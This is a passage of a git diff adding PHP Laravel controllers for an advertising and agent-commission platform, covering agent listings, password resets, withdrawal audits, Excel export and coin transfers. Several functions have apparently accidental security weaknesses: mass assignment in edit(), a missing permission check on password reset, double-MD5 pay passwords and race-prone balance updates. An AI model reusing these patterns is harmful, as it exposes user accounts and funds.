+     * 字段:ID、等级、代理费(元)、姓名、昵称、手机、推荐人手机号、城区、广告笔数、广告总业绩额(元)、广告分佣(%)、下级代理人数、代理分佣(%)、余额(元)、点币
+     * 查询:所在城区(省市区)、手机号、等级、注册时间
+     */
+    public function proxyList(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'exists:area,id',
+            'city' => 'exists:area,id',
+            'district' => 'exists:area,id',
+           // 'mobile' => 'integer',
+            'level' => 'integer|between:1,8',
+            'startTime' => 'date',
+            'endTime' => 'date',
+            'sort'=>'in:level,created_at,agentAllmoney,count,allMoney,adverCommission,invite_num,proxyCommission,coin,balance',
+            'order'=>'in:desc,asc,normal'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        // zch 2019/08/14 新增排序
+        if (isset($param['sort'])) {
+            switch ($param['sort']) {
+                case 'agentAllmoney':
+                    $param['sort'] = 'agent_all_money';
+                    break;
+                case 'count':
+                    $param['sort'] = 'ad_num';
+                    break;
+                case 'allMoney':
+                    $param['sort'] = 'ad_all_money';
+                    break;
+                case 'adverCommission':
+                    $param['sort'] = 'adver_commission';
+                    break;
+                case 'proxyCommission':
+                    $param['sort'] = 'proxy_commission';
+                    break;
+            }
+            $sort = $param['sort'];
+            if (isset($param['order']) && $param['order']!='normal') {
+                $order=$param['order'];
+            }else{
+                $order = 'desc';
+            }
+        }else{
+            $sort = 'id';
+            $order = 'desc';
+        }
+        if (isset($param['order']) && $param['order']=='normal') {
+            $sort = 'id';
+            $order = 'desc';
+        }
+        // 如果当前管理员是地区管理员
+        if (Admin()->is_super == 3) {
+            if (Admin()->level == 6 && isset($param['district']) && $param['district'] != Admin()->district) {
+                return showJsonErr('抱歉,您不能查看该地区的信息');
+            }
+
+            if (Admin()->level == 7 && isset($param['district']) && $param['city'] != Admin()->city) {
+                return showJsonErr('抱歉,您不能查看该城市的信息');
+            }
+        }
+
+        $user = User::select([
+            'id',
+            'level',
+            'nick_name',
+            'real_name',
+            'mobile',
+            'invitor',
+            'balance',
+            'coin',
+            'status',
+            'province',
+            'city',
+            'district',
+            'created_at',
+            'agent_all_money as agentAllmoney',
+            'ad_num as count',
+            'ad_all_money as allMoney',
+            'adver_commission as adverCommission',
+            'invite_num as invite_num',
+            'proxy_commission as proxyCommission',
+        ])
+            ->orderBy($sort,$order)
+            ->whereIsFrontend(1)
+            // ->whereIn('level', [6, 7])
+            ->where('province', '!=', 0);
+
+
+
+        // 如果是地区管理员,则不显示同等级的用户信息
+        if (\Auth::user()->is_super == 3) {
+            //$user->where('level', '<', \Auth::user()->level);
+            $user = $user->whereIn('id', getIds());
+        } else {
+            //管理员查看对应的代理
+            $district=AdminArea::getAdminArea();
+            if(!empty($district)){
+                if(!empty($district['city'])){
+                    $user->whereCity($district['city']);
+                    if (!empty($param['district'])) {
+                        $user->whereDistrict($param['district']);
+                    }
+                }else{
+                    $user->whereDistrict($district['district']);
+                }
+
+
+            }else{
+
+                // 地区查询
+                if (!empty($param['province'])) {
+                    $user->whereProvince($param['province']);
+                }
+
+                if (!empty($param['city'])) {
+                    $user->whereCity($param['city']);
+                }
+
+                if (!empty($param['district'])) {
+                    $user->whereDistrict($param['district']);
+                }
+
+            }
+
+
+
+        }
+
+        if(!empty($param['id']) && $param['id']!='undefined'){
+            $user->where('id','=',$param['id']);
+        }
+        if(!empty($param['status'])){
+            $user->where('status','=',$param['status']);
+        }
+
+        // 时间查询
+        if (!empty($param['startTime']) && !empty($param['endTime'])) {
+            $user->whereBetween('created_at', [$param['startTime'], $param['endTime']]);
+        } else if (!empty($param['endTime']) && empty($param['startTime'])) {
+            $user->where('created_at', '<', $param['endTime']);
+        } else if (empty($param['endTime']) && !empty($param['startTime'])) {
+            $user->where('created_at', '>', $param['startTime']);
+        }
+
+        // 手机号码查询
+        if (!empty($param['mobile'])) {
+            $user->where('mobile', 'like', "%{$param['mobile']}%");
+        }
+
+        // 等级查询
+        if (!empty($param['level'])) {
+            $user->whereLevel($param['level']);
+        }
+
+        $res = $user->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+                $item->invitor_mobile = User::find($item->invitor)->mobile ?? 0;
+                $item->area = trim(Area::getName($item->province) . ' ' . Area::getName($item->city) . ' ' . Area::getName($item->district));
+                /**
+                *@describe zch  为了做筛选已弃用,保留是为了预防有未知的bug,或遗漏的数据,以便恢复使用。
+                   $adver = Advertising::whereUid($item->id)
+                        ->whereIn('status', [3, 4, 9])
+                        ->select([
+                            \DB::raw('count(id) count'),
+                            \DB::raw('sum(total_price) allMoney')
+                        ])
+                        ->first();
+                    $item->count=$adver->count;
+                    $item->allMoney=$adver->allMoney;
+                    $item->invite_num = count(User::getAllInvite($item->id, null, null, false)); // 邀请人数
+                    $item->proxyCommission = AccountLog::whereIn('type', [20, 21, 22, 23])->whereStatus(1)->whereUid($item->id)->sum('money'); // 代理分佣
+                    $item->adverCommission = AccountLog::whereIn('type', [10, 11, 12, 13])->whereStatus(1)->whereUid($item->id)->sum('money');//广告费分佣
+                    $item->agentAllmoney   = AccountLog::whereIn('type',[7,8])->whereStatus(1)->whereUid($item->id)->sum('money');//总的代理费
+                */
+                $proxyConfig = Proxy::whereUserLevel($item->level)->whereStatus(1)->whereUid($item->id)->whereAreaType(4)->first();//用户当前配置
+                $proxyAdverSet =  $proxyConfig?$proxyConfig->only(['money', 'min_money','free_num']):'';
+
+                $item->proxyAdverSet = $proxyAdverSet;
+                //查看用户是否是区域代理,是的话就找出相关代理信息
+                $item->proxyarea='';
+                $item->invite_num = count(User::getAllInvite($item->id, null, null, false)); // 邀请人数
+                if($item->level>5&&!empty($item->province)&&!empty($item->city)&&!empty($item->district)){
+                    $ps=ProxyArea::whereUid($item->id)->whereStatus(3)->get();
+                    $parea='';
+                    if(!empty($ps)){
+                        foreach($ps as $pkey=>$pval){
+                            $parea.=Area::whereId($pval->province)->value('name').' '.Area::whereId($pval->city)->value('name').Area::whereId($pval->district)->value('name').' ';
+                        }
+
+                    }
+                    $item->proxyarea=$parea;
+                }
+                //下级代理人数
+                // $allUids = User::getAllChilds($item->id);
+                // $item->agent_num = count($allUids);
+            });
+        }
+        return showJsonSucc(1001, $res);
+    }
+    //获取后台用户信息wsl 20190726
+    public function getUerInfo(Request $request){
+        $user=User::whereId(Admin()->id)->select('id','mobile','nick_name');
+        $user->with(['roles' => function () {
+
+        }]);
+        $userarea=AdminArea::where('admin_id','=',Admin()->id)->first();
+        $data=[];
+        $u=$user->first();
+        if(!empty($u)){
+            $data['id']=Admin()->id;
+            $data['rolename']=$u->roles[0]->name;
+            $data['mobile']=$u->mobile;
+            $data['nick_name']=$u->nick_name;
+            $data['province']='';
+            $data['city']='';
+            $data['district']='';
+            if(!empty($userarea)){
+                $data['province']=$userarea->province;
+                $data['city']=$userarea->city;
+                $data['district']=$userarea->district;
+                $data['areastr']=Area::whereId($userarea->city)->value('name').Area::whereId($userarea->district)->value('name');
+            }
+
+
+        }
+        return showJsonSucc('1001',$data);
+    }
+
+    /**
+     * 下级代理人数
+     * @author lyh
+     * @date 2019/4/9
+     * @modify_author lyh
+     * @modify_time 2019-4-26 12:26:57
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function getListByInvite(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super == 3 && !in_array($param['id'], getIds())) {
+            return showJsonErr('抱歉,您没有权限查看该用户信息');
+        }
+
+        $invitor = User::getAllInvite($param['id'], null, null, false);
+        $res = User::whereIn('id', $invitor)
+            ->orderByDesc('id')
+            ->select([
+                'id', 'level', 'nick_name', 'real_name', 'created_at','mobile'
+            ])
+            ->paginate(perPage());
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * [modifyPassword 修改指定用户密码]
+     * @param  Request $request [description]
+     * @return [type]           [description]
+     */
+    public function modifyPassword(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id',
+            'new_pass' => 'required|min:6',
+            'comfirm_pass' => 'required|same:new_pass',
+        ]);
+
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $result = User::whereId($param['id'])->update(['password' => User::encodePassword($param['new_pass'])]);
+        if (!$result) {
+            return showJsonErr('修改密码失败');
+        }
+
+        return showJsonSucc('修改密码成功');
+    }
+
+    /**
+     * [modifyPassword 修改当前用户密码]
+     * @param  Request $request [description]
+     * @return [type]           [description]
+     */
+    public function modifyCurPassword(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'new_pass' => 'required|min:6',
+            'comfirm_pass' => 'required|same:new_pass',
+        ]);
+
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $result = User::whereId(\Auth::guard(config('permission.guard'))->id())->update(['password' => User::encodePassword($param['new_pass'])]);
+        // dd(\Auth::guard(config('permission.guard'))->id());
+        if (!$result) {
+            return showJsonErr('修改密码失败');
+        }
+
+        return showJsonSucc('修改密码成功');
+    }
+
+    /**
+     * [edit 编辑用户]
+     * @author lgs
+     * @DateTime 2019-04-28T15:16:30+0800
+     * @return   [type]                   [description]
+     */
+    public function edit(Request $request)
+    {
+        $validator = \Validator::make($param = array_filter($request->all()), [
+            'id' => 'required|exists:user,id',
+            'real_name' => 'sometimes|required',
+            //'mobile' => ['sometimes', 'required', 'string', Rule::unique('user')->ignore($param['id'])],
+            //'password' => 'sometimes|required|min:6',
+        ]);
+        if(!empty($param['mobile'])){
+            $users=User::whereId($param['mobile'])->where('is_frontend','=',0)->where('id','!=',$param['id'])->count();
+            if($users)return showJsonErr('手机号已存在');
+        }
+        if(!empty($param['status'])&&$param['status']==2&&$param['id']==8){
+            return showJsonErr('超级管理员不能冻结');
+        }
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        if (isset($param['password']) && !empty($param['password'])) {
+            $param['password'] = User::encodePassword($param['password']);
+        }
+        $result = User::whereId($param['id'])->update($param);
+        if (!$result) {
+            return showJsonErr('编辑用户失败');
+        }
+        return showJsonSucc('编辑用户成功');
+    }
+    /**
+     * [detail 代理详情]
+     * @author lgs
+     * @DateTime 2019-06-10T12:32:41+0800
+     * @param    Request                  $request [description]
+     * @return   [type]                            [description]
+     */
+    public function detail(Request $request)
+    {
+        $validator = \Validator::make($param = array_filter($request->all()), [
+            'id' => 'required|exists:user,id',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $item = User::select([
+            'id',
+            'level',
+            'nick_name',
+            'real_name',
+            'id_card',
+            'mobile',
+            'invitor',
+            'balance',
+            'coin',
+            'status',
+            'province',
+            'city',
+            'district',
+            'created_at',
+            'invite_code'
+        ])->whereId($param['id'])->first();
+        $item->invitor_mobile = User::find($item->invitor)->mobile ?? 0;
+        $item->area = trim(Area::getName($item->province) . ' ' . Area::getName($item->city) . ' ' . Area::getName($item->district));
+        $item->adver = Advertising::whereUid($item->id)
+            ->whereIn('status', [3, 4, 9])
+            ->select([
+                \DB::raw('count(id) count'),
+                \DB::raw('sum(total_price) allMoney')
+            ])
+            ->first();
+        $userWithdrawData = \App\Modes\UserWithdraw::where(['uid'=>$item->id])->orderBy('id','desc')->first();
+        if(!empty($userWithdrawData)){
+            $item->bankname = $userWithdrawData->bank_name;
+            $item->bankno = $userWithdrawData->bank_number;
+        }else{
+            $item->bankname = '';
+            $item->bankno = '';
+        }    
+        $item->invite_num = count(User::getAllInvite($item->id, null, null, false)); // 邀请人数
+        $item->proxyCommission = AccountLog::whereIn('type', [20, 21, 22, 23])->whereStatus(1)->whereUid($item->id)->sum('money'); // 代理分佣
+        $item->adverCommission = AccountLog::whereIn('type', [10, 11, 12, 13])->whereStatus(1)->whereUid($item->id)->sum('money');//广告费分佣
+        $proxyConfig = Proxy::getConfig($item->id)->only(['invite', 'proxy_invite','adver_invite','coin']);//用户当前配置
+        $item->proxy_invite = $proxyConfig['proxy_invite'];//代理直推
+        
+        $item->adver_invite = $proxyConfig['adver_invite'];//广告直推
+        $item->coin_rate = $proxyConfig['coin'];//点币汇率
+        $item->invite_image = User::getInviteImage($item->invite_code);//推广二维码
+        $ad1 = [];
+        $ad2 = [];
+        $agent1 = [];
+        $agent2 = [];
+        foreach ($proxyConfig['invite'] as $key => $v) {
+
+            if ($v->proxy_type == 1) {//代理
+                if ($v->type == 1) {//间一
+                    $agent1[] = $v;
+                }
+                if ($v->type == 2) {//间二
+                    $agent2[] = $v;
+                }
+            }
+            if ($v->proxy_type == 2) {//广告
+                if ($v->type == 1) {//间一
+                    $ad1[] = $v;
+                }
+                if ($v->type == 2) {//间二
+                    $ad2[] = $v;
+                }
+            }
+        }
+        $item->agent_invite1 = $agent1;//代理间一
+        $item->agent_invite2 = $agent2;//代理间二
+        $item->adver_invite1 = $ad1;//广告间一
+        $item->adver_invite2 = $ad2;//广告间二
+        // $item->proxyConfig = $proxyConfig;
+        return showJsonSucc(1001, $item);
+
+    }
+
+    //调整点币 2021/7/21
+    public function editUserCoin(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id',
+            'coin' => 'required|numeric|min:0'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super !== 1) {
+            return showJsonErr('抱歉,您没有权限调整点币');
+        }
+
+
+        $user = User::whereId($param['id'])->first();
+
+        if(!$user){
+            return showJsonErr('用户不存在');
+        }
+
+        if($user->coin > $param['coin']){
+            $difference =  - bcsub($user->coin,$param['coin'],4);
+        }else{
+            $difference =  bcsub($param['coin'],$user->coin,4);
+        }
+        
+        $result = User::whereId($param['id'])->update(['coin' => $param['coin']]);
+        if (!$result) {
+            return showJsonErr('修改用户状态失败');
+        }
+
+        $ss = $difference>0 ? '上调':'下调';
+        //点币记录
+        $remark="用户【id:".$param['id']."】,系统".$ss."点币,".$ss."幅度【".$difference."】";
+        AccountLog::insert([
+            'uid' => $param['id'],
+            'type' => 47,
+            'status' => 1,
+            'money_type' => 1,
+            'money' => $difference,
+            'current_money' =>$param['coin'],
+            'remark' => $remark
+        ]);
+        
+        return showJsonSucc('调整用户点币成功');
+    }
+
+
+
+
+   
+}

+ 323 - 0
app/Http/Controllers/Admins/UserWithdrawController.php

@@ -0,0 +1,323 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+require_once (base_path().'/public/phpexcel/PHPExcel.php');
+require_once (base_path().'/public/phpexcel/PHPExcel/Writer/Excel2007.php');
+use App\Modes\AccountLog;
+use App\Modes\MsgTemplate;
+use App\Modes\User;
+use App\Modes\UserMsg;
+use App\Modes\UserWithdraw;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class UserWithdrawController extends Controller
+{
+    /**
+     * 提现列表
+     * @author lyh
+     * @date 2019/4/10
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     * 显示字段:申请人ID、手机号、提现金额(元)、银行卡号、申请时间、审核状态
+     * 查询条件:申请时间、申请人(手机号、id)
+     */
+    public function index(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'word' => 'integer',
+            'startTime' => 'date',
+            'endTime' => 'date',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        if (Admin()->is_frontend == 1) {
+            return showJsonErr('抱歉,您没有权限查看该列表');
+        }
+
+//        \DB::enableQueryLog();
+        $user = \DB::table('user_withdraw as up')
+            ->join('user as u', 'u.id', '=', 'up.uid')
+            ->leftJoin('user_bank as b','up.bank_number','=','b.bank_number')
+            ->select([
+                'up.id',
+                'up.uid',
+                'u.mobile',
+                'up.money',
+                'up.bank_name',
+                'up.bank_number',
+                'up.status',
+                'up.created_at',
+                'b.username'
+            ])
+            ->orderByDesc('up.id');
+
+
+        // 如果是地区管理员,则不显示同等级的用户信息
+        if (\Auth::user()->is_super == 3) {
+            $user->whereIn('u.id', getIds());
+        }
+
+        // 时间查询
+        if (!empty($param['startTime']) && !empty($param['endTime'])) {
+            $user->whereBetween('up.created_at', [$param['startTime'], $param['endTime']]);
+        } else if (!empty($param['endTime']) && empty($param['startTime'])) {
+            $user->where('up.created_at', '<', $param['endTime']);
+        } else if (empty($param['endTime']) && !empty($param['startTime'])) {
+            $user->where('up.created_at', '>', $param['endTime']);
+        }
+        //状态查询
+        if(isset($param['status'])&&is_numeric($param['status'])){
+            $user->where('up.status','=',$param['status']);
+        }
+        // 关键词查询
+        if (!empty($param['word'])) {
+            $user->where(function ($q)use ($param){
+                $q->where('up.uid','=',$param['word'])
+                    ->orWhere('u.mobile','like','%'.$param['word'].'%');
+            });
+            //$user->where(\DB::raw("concat(up.uid,u.mobile)"), 'like', "%{$param['word']}%");
+        }
+        $user->groupBy('up.id');
+        //echo $user->toSql();exit;
+        $res = $user->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+
+            });
+        }
+//        dd(\DB::connection()->getQueryLog(), $param);
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 审核提现
+     * @author lyh
+     * @date 2019/4/10
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @throws \Exception
+     * @description
+     */
+    public function audit(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'ids' => 'required|array',
+            'status' => 'required|integer|in:1,2',
+            //'audit_remark' => 'required_if:status,2'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        if($param['status']==2 && empty($param['audit_remark'])){
+            return showJsonErr('请输入不通过原因');
+        }
+        if (Admin()->is_frontend == 1) {
+            return showJsonErr('抱歉,您没有权限操作');
+        }
+
+        \DB::beginTransaction();
+        try {
+            foreach ($param['ids'] as $id) {
+                $userWithdraw = UserWithdraw::find($id);
+                if (empty($userWithdraw)) {
+                    return showJsonErr("抱歉,【id:{$id}】不存在");
+                }
+                if ($userWithdraw->status != 0) {
+                    \DB::rollBack();
+                    return showJsonErr("抱歉,提现记录【id:{$id}】不是待审核状态");
+                }
+                // 修改提现状态
+                $modifyData = ['status' => $param['status']];
+                if (!empty($param['audit_remark'])) {
+                    $modifyData['audit_remark'] = $param['audit_remark'];
+                }
+                UserWithdraw::whereId($id)->update($modifyData);
+
+                $msg_content=MsgTemplate::getTemplateContent(12);
+                $msgarr=['title'=>'提现审核通知','uid'=>$userWithdraw->uid,'type'=>2,'content'=>$msg_content];
+
+                //退款 edit by wsl
+                if ($param['status'] == 2) {
+                    User::whereId($userWithdraw->uid)->increment('balance', $userWithdraw->money);
+                    $msg_content=MsgTemplate::getTemplateContent(13);
+                    $msgarr=['title'=>'提现审核通知','uid'=>$userWithdraw->uid,'type'=>2,'content'=>$msg_content];
+                    // 提现添加流水记录
+                    $remark = "管理员拒绝提现申请,提现金额¥{$userWithdraw->money}已返回余额";
+                    $result = AccountLog::insert([
+                        'uid' => $userWithdraw->uid,
+                        'type' => 1,
+                        'money_type' => 2,
+                        'money' => (abs($userWithdraw->money)),
+                        'current_money' => User::find($userWithdraw->uid)->balance,
+                        'remark' => $remark
+                    ]);
+                    if (empty($result)) {
+                        \DB::rollBack();
+                        return showJsonErr('添加账号流水失败');
+                    }
+                }
+                UserMsg::SendGetui($msgarr);
+
+            }
+            \DB::commit();
+
+            return showJsonSucc('审核成功');
+        } catch (\Exception $e) {
+            \DB::rollBack();
+            return showJsonErr($e->getMessage());
+        }
+    }
+
+    /**
+     * 获取用户提现记录
+     * @author lyh
+     * @date 2019/4/9
+     * @modify_author lyh
+     * @modify_time 2019-4-26 12:22:47
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @param Request $request
+     * @description
+     */
+    public function getListByUid(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:user,id'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 区分系统管理员与地区管理员数据
+        if (\Auth::user()->is_super == 3 && !in_array(Admin()->id, getIds())) {
+            return showJsonErr('抱歉,您没有权限查看该用户信息');
+        }
+
+        $uw = UserWithdraw::whereUid($param['id'])->select(['money', 'created_at'])->orderBy('created_at','desc');
+        $result=$uw->paginate(perPage());
+        return showJsonSucc(1001, $result);
+    }
+
+    /*
+     * 导出提现记录 wsl
+     * 20190725
+     *
+     * */
+    public function outputToExcel(Request $request){
+        $param=$request->all();
+           if (Admin()->is_frontend == 1) {
+            return showJsonErr('抱歉,您没有权限导出该列表');
+        }
+
+//        \DB::enableQueryLog();
+        $user = \DB::table('user_withdraw as up')
+            ->join('user as u', 'u.id', '=', 'up.uid')
+            ->join('user_bank as b','up.bank_number','=','b.bank_number')
+            ->select([
+                'up.id',
+                'up.uid',
+                'u.mobile',
+                'up.money',
+                'up.bank_name',
+                'up.bank_number',
+                'up.status',
+                'up.created_at',
+                'b.username'
+            ])
+            ->orderByDesc('up.id');
+
+
+        // 如果是地区管理员,则不显示同等级的用户信息
+        if (\Auth::user()->is_super == 3) {
+            $user->whereIn('u.id', getIds());
+        }
+
+        // 时间查询
+        if(!empty($param['startTime'])){
+            $user->where('up.created_at','>',$param['startTime']);
+        }
+        if(!empty($param['endTime'])){
+            $user->where('up.created_at','<',$param['endTime']);
+        }
+        //状态查询
+        if(isset($param['status'])&&is_numeric($param['status'])){
+            $user->where('up.status','=',$param['status']);
+        }
+        // 关键词查询
+        if (!empty($param['word'])) {
+            $user->where(function ($q)use ($param){
+                $q->where('up.uid','=',$param['word'])
+                    ->orWhere('u.mobile','like','%'.$param['word'].'%');
+            });
+            //$user->where(\DB::raw("concat(up.uid,u.mobile)"), 'like', "%{$param['word']}%");
+        }
+        $user->groupBy('up.id');
+        $list=$user->get();
+
+        //$filename=\Auth::user()->mobile.'提现记录';
+        $filename=\Auth::user()->mobile.'提现记录';
+        $phpexcel=new \PHPExcel();
+        $phpexcel->getProperties()
+            ->setTitle($filename);
+        $lines=[
+            'A'=>['title'=>'申请人ID','width'=>10],
+            'B'=>['title'=>'手机号','width'=>20],
+            'C'=>['title'=>'提现金额','width'=>15],
+            'D'=>['title'=>'收款人姓名','width'=>20],
+            'E'=>['title'=>'收款人账号','width'=>30],
+            'F'=>['title'=>'开户银行名称','width'=>30],
+            'G'=>['title'=>'申请日期','width'=>20],
+            'H'=>['title'=>'审核状态','width'=>10],
+        ];
+        $objtitle=$phpexcel->setActiveSheetIndex(0);
+        foreach($lines as $k=>$v){
+            $phpexcel->getActiveSheet()->getColumnDimension($k)->setWidth($v['width']);
+             $objtitle->setCellValue($k.'1',$v['title']);
+        }
+        //填入数据
+        $i=0;
+        foreach($list as $key=>$item){
+            $statusstr='';
+            switch($item->status){
+                case 0:$statusstr='待审核';break;
+                case 1:$statusstr='审核通过';break;
+                case 2:$statusstr='拒绝';break;
+            }
+            $itemvalues=[
+              'A'=>$item->uid,
+              'B'=>$item->mobile,
+              'C'=>$item->money,
+              'D'=>$item->username,
+              'E'=>$item->bank_number."\t",
+              'F'=>$item->bank_name,
+              'G'=>$item->created_at,
+              'H'=>$statusstr
+                ];
+            foreach($lines as $kk=>$vv){
+                $phpexcel->getActiveSheet(0)->setCellValue($kk.($i+2),$itemvalues[$kk]);
+            }
+            $i++;
+        }
+        $phpexcel->setActiveSheetIndex(0);
+
+        header('Content-Type: application/vnd.ms-excel');
+        header('Content-Disposition: attachment;filename="' . @date('Y-m-d H:i:s') . '提现记录.xls"');
+        header('Cache-Control: max-age=0');
+
+        $objWriter = \PHPExcel_IOFactory::createWriter($phpexcel, 'Excel2007');
+        $objWriter->save('php://output');
+        /*
+        $obj=\PHPExcel_IOFactory::createWriter($phpexcel,'Excel2007');
+        $savepath=base_path().'/excel/'.$filename.'.xlsx';
+        $obj->save($savepath);
+        $r=file_exists($savepath);
+        if($r){
+            return showJsonSucc('导出文件成功',['url'=>$savepath]);
+        }else{
+            return showJsonErr('导出文件失败');
+        }*/
+    }
+
+}

+ 149 - 0
app/Http/Controllers/Api/AccountLogController.php

@@ -0,0 +1,149 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\AccountLog;
+use App\Modes\User;
+use App\Rules\Phone;
+use Doctrine\DBAL\Driver\PDOException;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Mockery\Exception;
+use Illuminate\Support\Facades\DB;
+class AccountLogController extends Controller
+{
+    /**
+     * 获取列表
+     * @author lyh
+     * @date 2019/3/27
+     * @description
+     */
+    public function index()
+    {
+        $res = AccountLog::whereUid(\Auth::id())->whereIn('type', [5, 10, 11, 12, 13, 20, 21, 22, 23])->orderBy('created_at','desc')->paginate(perPage());
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 点币记录
+     * @author lyh
+     * @date 2019/3/28
+     * @description
+     */
+    public function coin(Request $request)
+    {
+       // $param=$request->all();
+        //$page=empty($param['page'])?1:$param['page'];
+
+        $res = AccountLog::whereUid(\Auth::id())->whereIn('type', [30, 31, 32,45])->whereMoneyType(1)->orderBy('created_at','desc')->paginate(perPage());
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 点币转账
+     * @author lyh
+     * @date 2019/3/28
+     * @description
+     */
+    public function coinTransfer(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'mobile' => 'required',
+            'num' => 'required|integer',
+            'pay_password' => [
+                'required',
+                'string',
+                'between:6,18'
+            ]
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $outuser=User::whereMobile($param['mobile'])->count();
+        if(empty($outuser)){
+            return showJsonErr('转入账号不存在');
+        }
+
+        $pay_password=md5(md5($param['pay_password']));
+        if(empty(\Auth::user()->pay_password)){
+            return showJsonErr('您还未设置支付密码');
+        }
+        if ($pay_password!=\Auth::user()->pay_password) {
+            return showJsonErr('支付密码错误');
+        }
+
+        if ($param['mobile'] == \Auth::user()->mobile) {
+            return showJsonErr('请勿转账给自己');
+        }
+
+        if ($param['num'] > \Auth::user()->coin) {
+            return showJsonErr('点币余额不足');
+        }
+
+        $transferUser = User::whereMobile($param['mobile'])->first();
+
+        \DB::beginTransaction();
+        try {
+            $remark = sprintf('%s转账%d点币给%s', \Auth::user()->mobile, $param['num'], $transferUser->mobile);
+            $save1 = \App\Modes\AccountLog::insertGetId([
+                'uid' => \Auth::id(),
+                'source_uid' => $transferUser->id,
+                'type' => 31,
+                'status' => 1,
+                'money' => '-'.$param['num'],
+                'money_type' => 1,
+                'current_money' => \Auth::user()->coin,
+                'remark' => $remark,
+            ]);
+            User::whereId(\Auth::id())->decrement('coin', $param['num']);
+
+            $remark = sprintf('%s收到%s转账%d点币', $transferUser->mobile, \Auth::user()->mobile, $param['num']);
+            $save2 = \App\Modes\AccountLog::insertGetId([
+                'uid' => $transferUser->id,
+                'source_uid' => \Auth::id(),
+                'type' => 30,
+                'status' => 1,
+                'money' => $param['num'],
+                'money_type' => 1,
+                'current_money' => $transferUser->coin,
+                'remark' => $remark,
+            ]);
+            User::whereId($transferUser->id)->increment('coin', $param['num']);
+
+            if (empty($save1) || empty($save2)) {
+                \DB::rollBack();
+                return showJsonErr('转账失败,请稍后再试');
+            }
+
+            \DB::commit();
+            return showJsonSucc('转账成功,请注意查收');
+        } catch (Exception $pdo) {
+            \DB::rollBack();
+            return showJsonErr('转账失败', [
+                'msg' => $pdo->getMessage(),
+            ]);
+        }
+    }
+    /**
+     * [sum 首页统计信息]
+     * @return [type] [description]
+     */
+    public function sum(){
+        $id = \Auth::id();
+        $user = User::whereId($id)->first();
+        $data['balance'] = round($user['balance'],4);
+        $data['coin'] = round($user['coin'],4);
+        $data['total_share'] = '0.00';
+        $data['share_count'] = '0';
+        $data['month_share'] = '0.00';
+        
+        $sum = DB::select('select SUM(money) AS total_income,SUM( CASE WHEN created_at>= "'.date('Y-m-d').'" THEN money ELSE 0 END) AS today_income,SUM( CASE WHEN created_at>= "'.date('Y-m-1').'" and created_at<="'.date('Y-m-d 23:59:59').'" THEN money ELSE 0 END) AS month_income from zx_account_log where uid=? and type in (10,11,12,13,20,21,22,23)', [$id]);
+
+        $sum = $sum[0];
+        $data['total_income'] = $sum->total_income?$sum->total_income:0;
+        $data['today_income'] = $sum->today_income?$sum->today_income:0;
+        $data['month_income'] = $sum->month_income?$sum->month_income:0;
+        return showJsonSucc('获取数据成功',$data);
+
+    }
+}

+ 864 - 0
app/Http/Controllers/Api/AdverController.php

@@ -0,0 +1,864 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\AccountLog;
+use App\Modes\AdverActivity;
+use App\Modes\AdverActivityLog;
+use App\Modes\Advertising;
+use App\Modes\Area;
+use App\Modes\Config;
+use App\Modes\ErrorLog;
+use App\Modes\Industry;
+use App\Modes\MsgTemplate;
+use App\Modes\Order;
+use App\Modes\Upgrade;
+use App\Modes\User;
+use App\Modes\UserMsg;
+use App\Service\PayDispatchService;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use \App\Modes\Proxy;
+use Illuminate\Support\Facades\Validator;
+use Mockery\Exception;
+use Yansongda\Pay\Gateways\Alipay;
+use Yansongda\Pay\Pay;
+
+class AdverController extends Controller
+{
+    /**
+     * 检查发布广告参数
+     * @author lyh
+     * @date 2019/3/22
